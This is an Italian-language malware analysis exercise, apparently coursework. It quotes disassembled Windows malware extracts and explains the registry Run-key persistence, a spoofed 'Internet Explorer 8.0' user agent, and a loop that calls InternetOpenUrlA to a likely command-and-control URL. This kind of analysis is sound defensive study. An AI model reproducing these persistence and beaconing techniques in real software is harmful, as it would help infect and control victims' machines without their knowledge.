

Malware analysis - Windows Malware

Sommario

Traccia S11-L1	1
Step 1	2
Step 2	2
Step 3	2

Traccia S11-L1

Con riferimento agli estratti di un malware reale presenti nelle prossime slide, rispondere alle seguenti domande:

- Step 1: descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Step 2: identificare il client software utilizzato dal malware per la connessione ad Internet
- Step 3: identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL

```

X040286F push 2 ; samDesired
X0402871 push eax ; ulOptions
X0402872 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
X0402877 push HKEY_LOCAL_MACHINE ; hKey
X040287C call esi ; RegOpenKeyExW
X040287E test eax, eax
X0402880 jnz short loc_4028C5
X0402882
X0402882 loc_402882:
X0402882 lea ecx, [esp+424h+Data]
X0402886 push ecx ; lpString
X0402887 mov bl, 1
X0402889 call ds:lstrlenW
X040288F lea edx, [eax+eax+2]
X0402893 push edx ; cbData
X0402894 mov edx, [esp+428h+hKey]
X0402898 lea eax, [esp+428h+Data]
X040289C push eax ; lpData
X040289D push 1 ; dwType
X040289F push 0 ; Reserved
X04028A1 lea ecx, [esp+434h+ValueName]
X04028A8 push ecx ; lpValueName
X04028A9 push edx ; hKey
X04028AA call ds:RegSetValueExW

```

```

.text:00401150 ; ; ; SUBROUTINE
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+EC70
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:00401168 mov esi, eax
.text:0040116B
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+3B4j
.text:0040116D push 0 ; dwContext
.text:0040116F push 80000000h ; dwFlags
.text:00401174 push 0 ; dwHeadersLength
.text:00401176 push 0 ; lpszHeaders
.text:00401178 push offset szUrl ; "http://www.malware12.com"
.text:0040117D push esi ; Internet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jmp short loc_40116D
.text:00401182 StartAddress endp
.text:00401183

```

Step 1

Il codice fornito sembra essere un esempio di come un malware può ottenere la persistenza su un sistema. Questo frammento di codice utilizza il registro di sistema di windows per ottenere la persistenza.

In particolare, il codice sta cercando di aprire una chiave di registro specifica **("Software\\Microsoft\\Windows\\CurrentVersion\\Run")** nel registro. Questa chiave è comunemente utilizzata per elencare i programmi che devono essere eseguiti all'avvio del sistema.

Se l'apertura della chiave ha successo (**RegOpenKeyExW**), il codice successivamente imposta un valore in quella chiave (**RegSetValueExW**). Questo valore probabilmente punta all'eseguibile. In questo modo, ogni volta che il sistema si avvia, il malware viene eseguito automaticamente, ottenendo così la persistenza.

Step 2

Il malware utilizza le API di Windows per stabilire una connessione a Internet. In particolare, il malware utilizza le funzioni **"InternetOpenA"** e **"InternetOpenUrlA"** della libreria WinINet di Windows. Queste funzioni sono comunemente utilizzate per stabilire connessioni a Internet.

La funzione **"InternetOpenA"** viene chiamata con l'agente utente impostato su `"Internet Explorer 8.0"`, che indica che il malware sta cercando di mascherarsi con Internet Explorer quando si connette a Internet.

Step 3

Dopo aver stabilito una connessione a Internet, il malware chiama la **funzione "InternetOpenUrlA"** per aprire l'URL `"http://www.malware12.com"`. Questo è probabilmente il server di comando e controllo del malware, potrebbe essere utilizzato per inviare comandi al malware o per esfiltrare dati dal sistema infetto.